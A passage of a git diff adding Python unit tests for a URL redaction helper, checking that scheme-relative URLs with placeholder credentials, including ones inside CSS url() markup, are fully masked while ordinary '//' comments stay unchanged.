sentinel not in submitted[0] + assert private_path not in submitted[0] + assert "[REDACTED_URL]" in submitted[0] + assert sentinel not in caplog.text + assert private_path not in caplog.text + + @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) def test_sync_incomplete_prompt_redaction_makes_zero_calls_and_zero_retries() -> None: sentinel = "task7-sync-incomplete-secret" diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index b101c6d9..769ab0bf 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -128,6 +128,8 @@ def test_encoded_malformed_nested_or_mixed_candidates_are_whole_masked(raw: str) @pytest.mark.parametrize( "text", [ + "a//b", + "// comment", "ordinary // comment", "path a//b remains ordinary", "email dev@example.invalid remains ordinary", @@ -220,6 +222,27 @@ def test_embedded_scheme_relative_candidates_are_whole_masked(raw: str, expected assert "scheme-relative-secret" not in result.value +@pytest.mark.parametrize( + "raw", + [ + "//user:round2-scheme-relative-secret@host.invalid/round2-private-path", + "url(//user:round2-scheme-relative-secret@host.invalid/round2-private-path)", + ], + ids=("element-markup", "functional-markup"), +) +def test_markup_embedded_scheme_relative_candidates_are_whole_masked(raw: str) -> None: + result = api.redact_text_result(raw) + + assert result == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert "round2-scheme-relative-secret" not in result.value + assert "round2-private-path" not in result.value + + class _SyntheticMatch: def end(self) -> int: return len("https://")